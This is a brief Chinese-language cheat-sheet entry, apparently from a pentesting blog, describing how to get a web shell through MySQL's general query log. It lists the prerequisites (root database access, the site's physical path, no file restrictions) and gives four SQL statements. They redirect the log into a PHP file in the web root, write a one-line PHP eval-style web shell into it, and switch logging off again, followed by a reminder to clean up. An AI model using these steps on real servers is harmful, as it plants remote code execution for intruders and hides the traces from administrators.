MySQL Log Getshell

require:

  • root权限.
  • 网站物理路径.
  • 文件位置未被限制.
1
2
3
4
set global general_log = on;
set global general_log_file = 'F:/phpStudy/WWW/a.php';
select '<?php assert($_POST[a]) ?>';
set global general_log = off;

别忘了处理后事 (off).

0%